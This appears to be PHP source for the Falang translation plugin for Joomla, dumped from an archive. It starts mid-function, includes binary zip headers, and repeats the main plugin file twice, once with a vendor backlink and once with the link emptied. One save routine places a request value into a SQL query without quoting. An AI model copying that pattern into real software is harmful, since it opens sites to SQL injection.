			$alias = $db->loadResult();
			if (isset($alias)) {
				$uri->setVar('id', $tmp . ':' . $alias);
			}
		}
	}

	public function parseRule(&$router, &$uri) {
		static $done = false;
		if (!$done)
		{
			$done = true;
			$conf = JFactory::getConfig();
			$lang                       = JFactory::getLanguage();
			$default_lang = JComponentHelper::getParams('com_languages')->get('site', 'en-GB');

			// Workaround for Joomla > 3.7.0, we need to set the correct language for the cache handler because the menu get already cached with the
			// language defined in JApplicationSite::initialiseApp(), but this language is the wrong if we change the language because language detection
			// is done in the Joomla system plugin languagefilter. The solution is to load the com_menus cache and set the correct language and reload
			// the menu, this is already done for Jooma 3.4.0, it seams that the cache works since 3.7.0
			if ($conf->get('caching',0) > 0)
			{
				$cache                      = JFactory::getCache('com_menus', 'callback');
				$cache->options['language'] = $lang->getTag();
				if ($lang->getTag() != $default_lang)
				{
					$cache->options['caching'] = false;
				}
			}

			//reload menu
			JFactory::getApplication()->getMenu()->__construct();
			//rewrite Menu route with translated alias
			$app = JFactory::getApplication();
			$menu = $app->getMenu()->getMenu();

			//workaround for Joomla > 3.7.0 continue.
			if ($conf->get('caching',0) > 0)
			{
				foreach($menu as &$item) {
					$item->route = '';
					if ($item->level > 1) {
						if (array_key_exists($item->parent_id, $menu)) {
							$item->route = $menu[$item->parent_id]->route.'/';
						}
					}
					$item->route .= $item->alias;
				}
			}

		}
		return array();
	}

    public function isFalangDriverActive()
    {
        $db = JFactory::getDBO();

        return is_a($db, 'JFalangDatabase');
    }


    function onAfterDispatch()
    {
        if (JFactory::getApplication()->isSite() && $this->isFalangDriverActive()) {
            include_once( JPATH_ADMINISTRATOR . '/components/com_falang/version.php');
            $version = new FalangVersion();
            if ($version->_versiontype == 'free'  ) {
                FalangManager::setBuffer();
            }
            return true;
        }
    }


    function setupDatabaseDriverOverride()
    {
        //override only the override file exist
        if (file_exists(dirname(__FILE__) . '/falang_database.php'))
        {
            require_once( dirname(__FILE__) . '/falang_database.php');

            $conf = JFactory::getConfig();

            $host = $conf->get('host');
            $user = $conf->get('user');
            $password = $conf->get('password');
            $db = $conf->get('db');
            $dbprefix = $conf->get('dbprefix');
            $driver = $conf->get('dbtype');
            $debug = $conf->get('debug');

            $options = array('driver' => $driver,"host" => $host, "user" => $user, "password" => $password, "database" => $db, "prefix" => $dbprefix, "select" => true);
            $db = new JFalangDatabase($options);
            $db->setDebug($debug);


            if ($db->getErrorNum() > 2)
            {
                JError::raiseError('joomla.library:' . $db->getErrorNum(), 'JDatabase::getInstance: Could not connect to database <br/>' . $db->getErrorMsg());
            }

            // replace the database handle in the factory
            JFactory::$database = null;
            JFactory::$database = $db;

            $test = JFactory::getDBO();

        }

    }

    private function setBuffer()
    {
        $doc = JFactory::getDocument();
        $cacheBuf = $doc->getBuffer('component');

        $cacheBuf2 =
            '<div><a title="Faboba : Cr&eacute;ation de composant'.
            'Joomla" style="font-size: 9px;; visibility: visible;'.
            'display:inline;" href="http://www.faboba'.
            '.com" target="_blank">FaLang tra'.
            'nslation syste'.
            'm by Faboba</a></div>';

        if ($doc->_type == 'html')
            $doc->setBuffer($cacheBuf . $cacheBuf2,'component');

    }


    /*
     * Use trigger to activate the language selection in the template
     */
    function onContentPrepareForm($form, $data)
    {
        if (JFactory::getApplication()->isSite()){return;}

	    $this->enabledTplTranslation($form,$data);

	    $custom_fields = JPluginHelper::isEnabled('system', 'fields');
	    if ($custom_fields){
		    $this->loadCustomFields($form, $data);
	    }
    }

	//use to set the value of the custom fields to the falang translation form
	//custom fields exist only since Joomla 3.7
	//actually can't work because fields_values table don't have id key

	private function loadCustomFields($form, $data){

    	//custom field valid only since 3.7.0
		if (version_compare(JVERSION, '3.7.0', 'lt')){return true;}

		$input = JFactory::getApplication()->input;
		$option = $input->get('option');
		$task = $input->get('task');
		$catid = $input->get('catid');
		$reference_id = $input->get('reference_id');
		$cid = $input->get('cid');
		$language_id = $input->get('language_id'); //from quickump it's this one
		$select_language_id = $input->get('select_language_id');//from falang list it's selectec langauge

		if ($option == 'com_falang' && ($task == 'translate.edit' || ($task == 'translate.apply') )) {


			JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php');

			$context = $form->getName();

			// When a category is edited, the context is com_categories.categorycom_content
			if (strpos($context, 'com_categories.category') === 0) {
				$context = str_replace('com_categories.category', '', $context) . '.categories';
			}

			$parts = FieldsHelper::extract($context, $form);

			if (!$parts) {
				return true;
			}

			if (empty($reference_id)){
				$reference_id = current($cid);
			}

			//load category from original item to set to the translation
			//necessary to load the related custom fields even if a translation for them don't exist.
			if ( !empty($reference_id) && $catid == 'content'){
				JModelLegacy::addIncludePath(JPATH_SITE.'/components/com_content/models', 'ContentModel');
				$model = JModelLegacy::getInstance('Article', 'ContentModel', array('ignore_request'=>true));
				$item = $model->getItem($reference_id);
				$data->catid = $item->catid;
			}

			// Getting the fields
			$fields = FieldsHelper::getFields($parts[0] . '.' . $parts[1], $data);


			$db = JFactory::getDbo();
			$fManager = FalangManager::getInstance();
			$content_element = $fManager->getContentElement($catid);

			if (empty($content_element)){
				return;
			}


			if (empty($language_id)){
				$language_id = $select_language_id;
			}
			//load com_fields values (json format)
			$translations =  $fManager->getRawFieldTranslations($content_element->getTableName(),'com_fields',$reference_id,$language_id);


			if (empty($translations)) {
				$params = JComponentHelper::getParams('com_falang');
				$copy_cusom_fields = $params->get('copy_custom_fields',false);


				if ($copy_cusom_fields == false){
					return true;
				}

				$original = $fManager->getRawFieldOrigninal($reference_id);

				//load orinal customfield to translation
				foreach ($fields as $field)
				{
					if (isset($original[$field->id])){
						$value  = $original[$field->id];
						$form->setValue($field->name, 'com_fields', $value);
					}

				}

			}

			$json_value = json_decode($translations);
			foreach ($fields as $field)
			{
				if (isset($json_value->{$field->name})) {
					$form->setValue($field->name, 'com_fields', $json_value->{$field->name});
				}
			}

		}

		return true;
	}

	//use to enable template by langugage (paid version only)
	private function enabledTplTranslation($form, $data){
		jimport('joomla.application.component.helper');
		$params = JComponentHelper::getParams('com_falang');
		$show_tpl_lang = $params->get('show_tpl_lang');

		if (!isset($show_tpl_lang) || $show_tpl_lang == '0' ) {return;}


		if (!($form instanceof JForm))
		{
			$this->_subject->setError('JERROR_NOT_A_FORM');

			return false;
		}
		if ((is_array($data) && array_key_exists('home', $data))
			|| ((is_object($data) && isset($data->home) ))) {
			$form->setFieldAttribute('home', 'readonly', 'false');
		}
	}

	//throw by Falang
	// use for joomla 3.7+ to save the custom fields in th custom fields table
	public function onAfterTranslationSave($post){
		//custom field valid only since 3.7.0
		if (version_compare(JVERSION, '3.7.0', 'lt')){return true;}

		//system fields plugins need to be published.
		$fields_plugin = JPluginHelper::getPlugin('system', 'fields');
		if (empty($fields_plugin)){return true;}

		$input = JFactory::getApplication()->input;
		$catid = $input->get('catid');
		$language_id = $input->get('language_id');
		$reference_id = $input->get('reference_id');
		$formData = new JRegistry($input->get('jform', '', 'array'));
		$context = $catid;

		//First release only content supported.
		if ($context != 'content'){return;}

		//TODO not set article here
		//load the content item to have the custom field associated with the categories of this item.
		if ( !empty($reference_id) && $catid == 'content'){
			//load default cateogry for this content
			//need to use admin model
			JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR.'/components/com_content/models', 'ContentModel');
			$model = JModelLegacy::getInstance('Article', 'ContentModel', array('ignore_request'=>true));
			$contentParams = JComponentHelper::getParams('com_content');
			$model->setState('params', $contentParams);
			$item = $model->getItem($reference_id);
		}

		$fields = FieldsHelper::getFields('com_'.$context. '.' . 'article', $item);

		if (!$fields) {
			return true;
		}

		// Get the translated fields data
		$fieldsData = !empty($formData) ? (array)$formData['com_fields'] : array();

		// Loading the model
		$model = JModelLegacy::getInstance('Field', 'FieldsModel', array('ignore_request' => true));
		$db = JFactory::getDbo();
		$user = JFactory::getUser();

		$values = array();
		// Loop over the fields
		foreach ($fields as $field) {
			// Determine the value if it is available from the data
			$value = key_exists($field->name, $fieldsData) ? $fieldsData[$field->name] : null;
			$values[$field->name] = $value;
		}


		//save $values array in json format
		if (!empty($values)){
			//get previous com_fields falang translation
			//get previous value if exit to make update or insert

			$query = $db->getQuery(true);
			$query->select($query->qn('id'))
				->from($query->qn('#__falang_content'))
				->where($db->qn('language_id') . ' = ' . $db->q($language_id))
				->where($db->qn('reference_id') . ' = ' . $reference_id)
				->where($db->qn('reference_field') . ' = ' . $db->q('com_fields'))
				->where($db->qn('reference_table') . ' = ' . $db->q($context));

			$db->setQuery($query);
			$falangId = $db->loadResult();


			$jsonValues = json_encode($values);
			$fieldContent = new falangContent($db);
			if (isset($falangId)){$fieldContent->id = $falangId;}
			$fieldContent->reference_id = $reference_id ;
			$fieldContent->language_id = $language_id;
			$fieldContent->reference_table= $context;
			$fieldContent->reference_field= 'com_fields';
			$fieldContent->value = $jsonValues;
			// the original value don't exist for custom_fields.
			$fieldContent->original_value = md5(null);
			//$fieldContent->original_text = !is_null($originalText)?$originalText:"";

			$fieldContent->modified =  JFactory::getDate()->toSql();

			$fieldContent->modified_by = $user->id;
			$fieldContent->published= true;

			$fieldContent->store();

		}

		return true;
	}

	/**
	 * We need to prepare custom fields per plugin because #__fields_values doesn't have a primary key
	 *
	 * @param $context
	 * @param $item
	 * @param $field
	 */
	public function onCustomFieldsBeforePrepareField($context, $item, $field) {

		// We only work in frontend
		if (!JFactory::getApplication()->isSite()) {
			return;
		}

		list($component, $view) = explode('.', $context, 2);

		if (strpos($component, "com_")=== 0)	{
			$component_name = substr($component, 4);
		} else {
			$component_name = $component;
		}

		$fManager = FalangManager::getInstance();

		$content_element = $fManager::getInstance()->getContentElement($component_name);

		if (empty($content_element)){
			return;
		}

		$languageTag  = JFactory::getLanguage()->getTag();
		$id_lang = $fManager->getLanguageID($languageTag);

		$translations = FalangManager::getInstance()->getRawFieldTranslations($content_element->getTableName(),'com_fields',$item->{$content_element->getReferenceId()},$id_lang);

		if (empty($translations)) {
			return;
		}

		$json_value = json_decode($translations);

		if (isset($json_value->{$field->name})) {
			$field->valueUntranslated = $field->value;
			$field->rawvalueUntranslated = $field->rawvalue;
			$field->value = $json_value->{$field->name};
			$field->rawvalue = $json_value->{$field->name};
		}

	}

	//@since 2.9.7
	public function setupAdvancedRouter()
	{
		//support advanced router
		jimport('joomla.application.component.helper');
		$params          = JComponentHelper::getParams('com_falang');
		$advanced_router = $params->get('advanced_router', 0);

		if (!isset($advanced_router) || $advanced_router == '0')
		{
			return;
		}
		$app = JFactory::getApplication();
		$router = $app->getRouter();

		//loop on folder to override each component router.
		jimport('joomla.filesystem.folder');
		$folders = JFolder::folders(JPATH_PLUGINS . '/system/falangdriver/routers/');
		if (count($folders))
		{
			foreach ($folders as $folder)
			{
				$router_file_path  = JPATH_PLUGINS . '/system/falangdriver/routers/' . $folder . '/router.php';
				if (file_exists($router_file_path))
				{
					require_once $router_file_path;
					$router_name = 'Falang'.str_replace('com_','',$folder).'Router';
					$crouter = new $router_name($app, $app->getMenu());
					$router->setComponentRouter($folder, $crouter);
				}
			}
		}
	}

}PK!~�{��!falangdriver/menu/JFalangMenu.phpnu&1i�<?php
/**
 * @package     Falang for Joomla!
 * @author      Stéphane Bouey <stephane.bouey@faboba.com> - http://www.faboba.com
 * @license     GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 * @copyright   Copyright (C) 2010-2017. Faboba.com All rights reserved.
 */

// No direct access to this file
defined('_JEXEC') or die;

class JFalangMenu extends JMenu{

    public static function resetMenu(){
        self::$instances = null;
    }
}PK!�Vz�f�ffalangdriver/falangdriver.phpnu&1i�<?php
/**
 * @package     Falang for Joomla!
 * @author      Stéphane Bouey <stephane.bouey@faboba.com> - http://www.faboba.com
 * @license     GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 * @copyright   Copyright (C) 2010-2017. Faboba.com All rights reserved.
 */

// No direct access to this file
defined('_JEXEC') or die;

//Global definitions use for front
if( !defined('DS') ) {
    define( 'DS', DIRECTORY_SEPARATOR );
}


jimport('joomla.plugin.plugin');

/**
 * Falang Driver Plugin
 */
class plgSystemFalangdriver extends JPlugin
{

	public function __construct(&$subject, $config = array())
	{


		parent::__construct($subject, $config);
		//load plugin language
		$this->loadLanguage();

        // This plugin is only relevant for use within the frontend!
		if (JFactory::getApplication()->isAdmin())
		{
			return;
		}

		//@since 2.9.0
		//add this setup in the constuctor due to system plugin who use $this->db (constucted by reflexion of JPlugin)
		//and no more in the onAfterInitialise
		if (!$this->isFalangDriverActive())
		{
			$this->setupDatabaseDriverOverride();
		}

	}

    /**
     * System Event: onAfterInitialise
     *
     * @return	string
     */
    function onAfterInitialise()
    {
        // This plugin is only relevant for use within the frontend!
        if (JFactory::getApplication()->isAdmin())
        {
            return;
        }

        //fix for joomla > 3.4.0
        $app = JFactory::getApplication();
        if ($app->isSite()) {
            $router = $app->getRouter();

            // attach build rules for translation on SEF
            $router->attachBuildRule(array($this, 'buildRule'));

            // attach build rules for translation on SEF
            $router->attachParseRule(array($this, 'parseRule'));
        }
        //end fix

	    //override joomla compoenent routeur
	    $this->setupAdvancedRouter();

    }

    public function buildRule(&$router, &$uri)
    {
        $lang = $uri->getVar('lang');
        $default_lang	= JComponentHelper::getParams('com_languages')->get('site', 'en-GB');

	    //we build the route for category list article
	    if ($lang != $default_lang && $uri->getVar('id') != null && $uri->getVar('catid') != null &&
		    $uri->getVar('option') == 'com_content' ) {//&& $uri->getVar('view') == 'article'

            $fManager = FalangManager::getInstance();
            $id_lang = $fManager->getLanguageID($lang);

            // Make sure we have the id and the alias
            if (strpos($uri->getVar('id'), ':') > 0)
            {
                list($tmp, $id) = explode(':', $uri->getVar('id'), 2);
                $db = JFactory::getDbo();
                $dbQuery = $db->getQuery(true)
                    ->select('fc.value')
                    ->from('#__falang_content fc')
                    ->where('fc.reference_id = '.(int)$tmp)
                    ->where('fc.language_id = '.(int) $id_lang )
                    ->where('fc.reference_field = \'alias\'')
                    ->where('fc.published = 1')
                    ->where('fc.reference_table = \'content\'');

                $db->setQuery($dbQuery);
                $alias = $db->loadResult();
                if (isset($alias)) {
                    $uri->setVar('id',$tmp. ':' . $alias);
                }
            }
            // Make sure we have the id and the alias
            if (strpos($uri->getVar('catid'), ':') > 0)
            {
                list($tmp2, $catid) = explode(':', $uri->getVar('catid'), 2);

                $db = JFactory::getDbo();
                $dbQuery = $db->getQuery(true)
                    ->select('fc.value')
                    ->from('#__falang_content fc')
                    ->where('fc.reference_id = '.(int)$tmp2)
                    ->where('fc.language_id = '.(int) $id_lang )
                    ->where('fc.reference_field = \'alias\'')
                    ->where('fc.published = 1')
                    ->where('fc.reference_table = \'categories\'');

                $db->setQuery($dbQuery);
                $alias = $db->loadResult();
                if (isset($alias)) {
                    $uri->setVar('catid',$tmp2. ':' . $alias);
                }
            }
        }

	    //fix canonical if sef plugin is enabled
	    $sef_plugin = JPluginHelper::getPlugin('system', 'sef');
	    if (!empty($sef_plugin)) {
		    if ($lang != $default_lang && $uri->getVar('id') != null && $uri->getVar('catid') != null &&
			    $uri->getVar('option') == 'com_content' ) {//&& $uri->getVar('view') == 'article'
			    $fManager = FalangManager::getInstance();
			    $id_lang = $fManager->getLanguageID($lang);

			    // Make sure we have the id and the alias
			    if (strpos($uri->getVar('id'), ':') === false)
			    {
				    //we use id in the query to be translated.
				    $db = JFactory::getDbo();
				    $dbQuery = $db->getQuery(true)
					    ->select('alias,id')
					    ->from('#__content')
					    ->where('id=' . (int) $uri->getVar('id'));
				    $db->setQuery($dbQuery);
				    $alias = $db->loadResult();
				    if (isset($alias)) {
					    $uri->setVar('id',$uri->getVar('id') . ':' . $alias);
				    }
			    }
		    }
	    }

        //build route for hikashop product
        if ( $uri->getVar('option') == 'com_hikashop' &&  $uri->getVar('ctrl') == 'product' &&  $uri->getVar('task')== 'show' ) {
            // on native language look in falang table
            if ($default_lang != $lang ){
                $fManager = FalangManager::getInstance();
                $id_lang = $fManager->getLanguageID($lang);
                $id = $uri->getVar('cid');
                $db = JFactory::getDbo();
                $dbQuery = $db->getQuery(true)
                    ->select('fc.value')
                    ->from('#__falang_content fc')
                    ->where('fc.reference_id = '.(int)$id)
                    ->where('fc.language_id = '.(int) $id_lang )
                    ->where('fc.reference_field = \'product_alias\'')
                    ->where('fc.published = 1')
                    ->where('fc.reference_table = \'hikashop_product\'');

                $db->setQuery($dbQuery);
                $alias = $db->loadResult();
                if (isset($alias)) {
                    $uri->setVar('name', $alias);
                }

            } else {
                // translated languague look in native table
                $id = $uri->getVar('cid');
                $db = JFactory::getDbo();
                $dbQuery = $db->getQuery(true)
                    ->select('product_alias')
                    ->from('#__hikashop_product')
                    ->where('product_id = '.(int)$id);
                $db->setQuery($dbQuery);
                $alias = $db->loadResult();
                if (isset($alias)) {
                    $uri->setVar('name', $alias);
                }
            }
            //
        }
        //build route for hikahsop category list
        if ( $uri->getVar('option') == 'com_hikashop' &&  $uri->getVar('ctrl') == 'category' &&  $uri->getVar('task')== 'listing' ) {
            // on native language look in falang table
            if ($default_lang != $lang) {
                $fManager = FalangManager::getInstance();
                $id_lang = $fManager->getLanguageID($lang);
                $id = $uri->getVar('cid');
                $db = JFactory::getDbo();
                $dbQuery = $db->getQuery(true)
                    ->select('fc.value')
                    ->from('#__falang_content fc')
                    ->where('fc.reference_id = ' . (int)$id)
                    ->where('fc.language_id = ' . (int)$id_lang)
                    ->where('fc.reference_field = \'category_alias\'')
                    ->where('fc.published = 1')
                    ->where('fc.reference_table = \'hikashop_category\'');

                $db->setQuery($dbQuery);
                $alias = $db->loadResult();
                if (isset($alias)) {
                    $uri->setVar('name', $alias);
                }

            } else {
                // translated languague look in native table
                $id = $uri->getVar('cid');
                $db = JFactory::getDbo();
                $dbQuery = $db->getQuery(true)
                    ->select('category_alias')
                    ->from('#__hikashop_category')
                    ->where('category_id = ' . (int)$id);
                $db->setQuery($dbQuery);
                $alias = $db->loadResult();
                if (isset($alias)) {
                    $uri->setVar('name', $alias);
                }
            }
        }
        //build route for k2 category list
        //v2.2.2 add download test due to download link bug in other case.
        if ( $uri->getVar('option') == 'com_k2' &&  $uri->getVar('view') == 'item' && $uri->getVar('task') != 'download' ) {
            // on native language look in falang table
            if ($default_lang != $lang ) {
                $fManager = FalangManager::getInstance();
                $id_lang = $fManager->getLanguageID($lang);

                // Make sure we have the id and the alias
                if (strpos($uri->getVar('id'), ':') > 0) {
                    list($tmp, $id) = explode(':', $uri->getVar('id'), 2);
                    $db = JFactory::getDbo();
                    $dbQuery = $db->getQuery(true)
                        ->select('fc.value')
                        ->from('#__falang_content fc')
                        ->where('fc.reference_id = ' . (int)$tmp)
                        ->where('fc.language_id = ' . (int)$id_lang)
                        ->where('fc.reference_field = \'alias\'')
                        ->where('fc.published = 1')
                        ->where('fc.reference_table = \'k2_items\'');

                    $db->setQuery($dbQuery);
                    $alias = $db->loadResult();
                    if (isset($alias)) {
                        $uri->setVar('id', $tmp . ':' . $alias);
                    }
                }
            } else {
                // translated languague look in native table
	            $tmp = $uri->getVar('id');
	            // Make sure we have the id and the alias
	            if (strpos($tmp, ':') > 0) {
		            list($tmp, $id) = explode(':', $tmp, 2);
	            }

                $db = JFactory::getDbo();
                $dbQuery = $db->getQuery(true)
                    ->select('alias')
                    ->from('#__k2_items')
                    ->where('id = '.(int)$tmp);
                $db->setQuery($dbQuery);
                $alias = $db->loadResult();
                if (isset($alias)) {
                    $uri->setVar('id', $tmp . ':' . $alias);
                }
            }
        }

	    if ( $uri->getVar('option') == 'com_djcatalog2' &&  $uri->getVar('view') == 'item') {
		    $this->buildRuleAlias($uri,'djc2_items','alias');
	    }


        return array();
    }

	public function buildRuleAlias(&$uri,$reference_table,$alias_name){
		$lang = $uri->getVar('lang');
		$default_lang	= JComponentHelper::getParams('com_languages')->get('site', 'en-GB');

		//look in Falang Table
		if ($default_lang != $lang ) {
			$fManager = FalangManager::getInstance();
			$id_lang = $fManager->getLanguageID($lang);

			// Make sure we have the id and the alias
			if (strpos($uri->getVar('id'), ':') > 0) {
				list($id,$tmp) = explode(':', $uri->getVar('id'), 2);
				$db = JFactory::getDbo();
				$dbQuery = $db->getQuery(true);
				$dbQuery->select('fc.value')
					->from('#__falang_content fc')
					->where('fc.reference_id = ' . $dbQuery->q($id))
					->where('fc.language_id = ' . $dbQuery->q($id_lang))
					->where('fc.reference_field = '.$dbQuery->q($alias_name))
					->where('fc.published = 1')
					->where('fc.reference_table = '.$dbQuery->q($reference_table));

				$db->setQuery($dbQuery);
				$alias = $db->loadResult();
				if (isset($alias)) {
					$uri->setVar('id', $id . ':' . $alias);
				}
			}
		} else {
			// translated languague look in native table
			$tmp = $uri->getVar('id');
			// Make sure we have the id and the alias
			if (strpos($tmp, ':') > 0) {
				list($tmp, $id) = explode(':', $tmp, 2);
			}

			$db = JFactory::getDbo();
			$dbQuery = $db->getQuery(true);
			$dbQuery->select($dbQuery->qn($alias_name))
				->from( $dbQuery->qn('#__' .$reference_table))
				->where('id = ' . $dbQuery->q($tmp));
			$db->setQuery($dbQuery);
			$alias = $db->loadResult();
			if (isset($alias)) {
				$uri->setVar('id', $tmp . ':' . $alias);
			}
		}
	}

	public function parseRule(&$router, &$uri) {
		static $done = false;
		if (!$done)
		{
			$done = true;
			$conf = JFactory::getConfig();
			$lang                       = JFactory::getLanguage();
			$default_lang = JComponentHelper::getParams('com_languages')->get('site', 'en-GB');

			// Workaround for Joomla > 3.7.0, we need to set the correct language for the cache handler because the menu get already cached with the
			// language defined in JApplicationSite::initialiseApp(), but this language is the wrong if we change the language because language detection
			// is done in the Joomla system plugin languagefilter. The solution is to load the com_menus cache and set the correct language and reload
			// the menu, this is already done for Jooma 3.4.0, it seams that the cache works since 3.7.0
			if ($conf->get('caching',0) > 0)
			{
				$cache                      = JFactory::getCache('com_menus', 'callback');
				$cache->options['language'] = $lang->getTag();
				if ($lang->getTag() != $default_lang)
				{
					$cache->options['caching'] = false;
				}
			}

			//reload menu
			JFactory::getApplication()->getMenu()->__construct();
			//rewrite Menu route with translated alias
			$app = JFactory::getApplication();
			$menu = $app->getMenu()->getMenu();

			//workaround for Joomla > 3.7.0 continue.
			if ($conf->get('caching',0) > 0)
			{
				foreach($menu as &$item) {
					$item->route = '';
					if ($item->level > 1) {
						if (array_key_exists($item->parent_id, $menu)) {
							$item->route = $menu[$item->parent_id]->route.'/';
						}
					}
					$item->route .= $item->alias;
				}
			}

		}
		return array();
	}

    public function isFalangDriverActive()
    {
        $db = JFactory::getDBO();

        return is_a($db, 'JFalangDatabase');
    }


    function onAfterDispatch()
    {
        if (JFactory::getApplication()->isSite() && $this->isFalangDriverActive()) {
            include_once( JPATH_ADMINISTRATOR . '/components/com_falang/version.php');
            $version = new FalangVersion();
            if ($version->_versiontype == 'free'  ) {
                FalangManager::setBuffer();
            }
            return true;
        }
    }


    function setupDatabaseDriverOverride()
    {
        //override only the override file exist
        if (file_exists(dirname(__FILE__) . '/falang_database.php'))
        {
            require_once( dirname(__FILE__) . '/falang_database.php');

            $conf = JFactory::getConfig();

            $host = $conf->get('host');
            $user = $conf->get('user');
            $password = $conf->get('password');
            $db = $conf->get('db');
            $dbprefix = $conf->get('dbprefix');
            $driver = $conf->get('dbtype');
            $debug = $conf->get('debug');

            $options = array('driver' => $driver,"host" => $host, "user" => $user, "password" => $password, "database" => $db, "prefix" => $dbprefix, "select" => true);
            $db = new JFalangDatabase($options);
            $db->setDebug($debug);


            if ($db->getErrorNum() > 2)
            {
                JError::raiseError('joomla.library:' . $db->getErrorNum(), 'JDatabase::getInstance: Could not connect to database <br/>' . $db->getErrorMsg());
            }

            // replace the database handle in the factory
            JFactory::$database = null;
            JFactory::$database = $db;

            $test = JFactory::getDBO();

        }

    }

    private function setBuffer()
    {
        $doc = JFactory::getDocument();
        $cacheBuf = $doc->getBuffer('component');

        $cacheBuf2 ='';

        if ($doc->_type == 'html')
            $doc->setBuffer($cacheBuf . $cacheBuf2,'component');

    }


    /*
     * Use trigger to activate the language selection in the template
     */
    function onContentPrepareForm($form, $data)
    {
        if (JFactory::getApplication()->isSite()){return;}

	    $this->enabledTplTranslation($form,$data);

	    $custom_fields = JPluginHelper::isEnabled('system', 'fields');
	    if ($custom_fields){
		    $this->loadCustomFields($form, $data);
	    }
    }

	//use to set the value of the custom fields to the falang translation form
	//custom fields exist only since Joomla 3.7
	//actually can't work because fields_values table don't have id key

	private function loadCustomFields($form, $data){

    	//custom field valid only since 3.7.0
		if (version_compare(JVERSION, '3.7.0', 'lt')){return true;}

		$input = JFactory::getApplication()->input;
		$option = $input->get('option');
		$task = $input->get('task');
		$catid = $input->get('catid');
		$reference_id = $input->get('reference_id');
		$cid = $input->get('cid');
		$language_id = $input->get('language_id'); //from quickump it's this one
		$select_language_id = $input->get('select_language_id');//from falang list it's selectec langauge

		if ($option == 'com_falang' && ($task == 'translate.edit' || ($task == 'translate.apply') )) {


			JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php');

			$context = $form->getName();

			// When a category is edited, the context is com_categories.categorycom_content
			if (strpos($context, 'com_categories.category') === 0) {
				$context = str_replace('com_categories.category', '', $context) . '.categories';
			}

			$parts = FieldsHelper::extract($context, $form);

			if (!$parts) {
				return true;
			}

			if (empty($reference_id)){
				$reference_id = current($cid);
			}

			//load category from original item to set to the translation
			//necessary to load the related custom fields even if a translation for them don't exist.
			if ( !empty($reference_id) && $catid == 'content'){
				JModelLegacy::addIncludePath(JPATH_SITE.'/components/com_content/models', 'ContentModel');
				$model = JModelLegacy::getInstance('Article', 'ContentModel', array('ignore_request'=>true));
				$item = $model->getItem($reference_id);
				$data->catid = $item->catid;
			}

			// Getting the fields
			$fields = FieldsHelper::getFields($parts[0] . '.' . $parts[1], $data);


			$db = JFactory::getDbo();
			$fManager = FalangManager::getInstance();
			$content_element = $fManager->getContentElement($catid);

			if (empty($content_element)){
				return;
			}


			if (empty($language_id)){
				$language_id = $select_language_id;
			}
			//load com_fields values (json format)
			$translations =  $fManager->getRawFieldTranslations($content_element->getTableName(),'com_fields',$reference_id,$language_id);


			if (empty($translations)) {
				$params = JComponentHelper::getParams('com_falang');
				$copy_cusom_fields = $params->get('copy_custom_fields',false);


				if ($copy_cusom_fields == false){
					return true;
				}

				$original = $fManager->getRawFieldOrigninal($reference_id);

				//load orinal customfield to translation
				foreach ($fields as $field)
				{
					if (isset($original[$field->id])){
						$value  = $original[$field->id];
						$form->setValue($field->name, 'com_fields', $value);
					}

				}

			}

			$json_value = json_decode($translations);
			foreach ($fields as $field)
			{
				if (isset($json_value->{$field->name})) {
					$form->setValue($field->name, 'com_fields', $json_value->{$field->name});
				}
			}

		}

		return true;
	}

	//use to enable template by langugage (paid version only)
	private function enabledTplTranslation($form, $data){
		jimport('joomla.application.component.helper');
		$params = JComponentHelper::getParams('com_falang');
		$show_tpl_lang = $params->get('show_tpl_lang');

		if (!isset($show_tpl_lang) || $show_tpl_lang == '0' ) {return;}


		if (!($form instanceof JForm))
		{
			$this->_subject->setError('JERROR_NOT_A_FORM');

			return false;
		}
		if ((is_array($data) && array_key_exists('home', $data))
			|| ((is_object($data) && isset($data->home) ))) {
			$form->setFieldAttribute('home', 'readonly', 'false');
		}
	}

	//throw by Falang
	// use for joomla 3.7+ to save the custom fields in th custom fields table
	public function onAfterTranslationSave($post){
		//custom field valid only since 3.7.0
		if (version_compare(JVERSION, '3.7.0', 'lt')){return true;}

		//system fields plugins need to be published.
		$fields_plugin = JPluginHelper::getPlugin('system', 'fields');
		if (empty($fields_plugin)){return true;}

		$input = JFactory::getApplication()->input;
		$catid = $input->get('catid');
		$language_id = $input->get('language_id');
		$reference_id = $input->get('reference_id');
		$formData = new JRegistry($input->get('jform', '', 'array'));
		$context = $catid;

		//First release only content supported.
		if ($context != 'content'){return;}

		//TODO not set article here
		//load the content item to have the custom field associated with the categories of this item.
		if ( !empty($reference_id) && $catid == 'content'){
			//load default cateogry for this content
			//need to use admin model
			JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR.'/components/com_content/models', 'ContentModel');
			$model = JModelLegacy::getInstance('Article', 'ContentModel', array('ignore_request'=>true));
			$contentParams = JComponentHelper::getParams('com_content');
			$model->setState('params', $contentParams);
			$item = $model->getItem($reference_id);
		}

		$fields = FieldsHelper::getFields('com_'.$context. '.' . 'article', $item);

		if (!$fields) {
			return true;
		}

		// Get the translated fields data
		$fieldsData = !empty($formData) ? (array)$formData['com_fields'] : array();

		// Loading the model
		$model = JModelLegacy::getInstance('Field', 'FieldsModel', array('ignore_request' => true));
		$db = JFactory::getDbo();
		$user = JFactory::getUser();

		$values = array();
		// Loop over the fields
		foreach ($fields as $field) {
			// Determine the value if it is available from the data
			$value = key_exists($field->name, $fieldsData) ? $fieldsData[$field->name] : null;
			$values[$field->name] = $value;
		}


		//save $values array in json format
		if (!empty($values)){
			//get previous com_fields falang translation
			//get previous value if exit to make update or insert

			$query = $db->getQuery(true);
			$query->select($query->qn('id'))
				->from($query->qn('#__falang_content'))
				->where($db->qn('language_id') . ' = ' . $db->q($language_id))
				->where($db->qn('reference_id') . ' = ' . $reference_id)
				->where($db->qn('reference_field') . ' = ' . $db->q('com_fields'))
				->where($db->qn('reference_table') . ' = ' . $db->q($context));

			$db->setQuery($query);
			$falangId = $db->loadResult();


			$jsonValues = json_encode($values);
			$fieldContent = new falangContent($db);
			if (isset($falangId)){$fieldContent->id = $falangId;}
			$fieldContent->reference_id = $reference_id ;
			$fieldContent->language_id = $language_id;
			$fieldContent->reference_table= $context;
			$fieldContent->reference_field= 'com_fields';
			$fieldContent->value = $jsonValues;
			// the original value don't exist for custom_fields.
			$fieldContent->original_value = md5(null);
			//$fieldContent->original_text = !is_null($originalText)?$originalText:"";

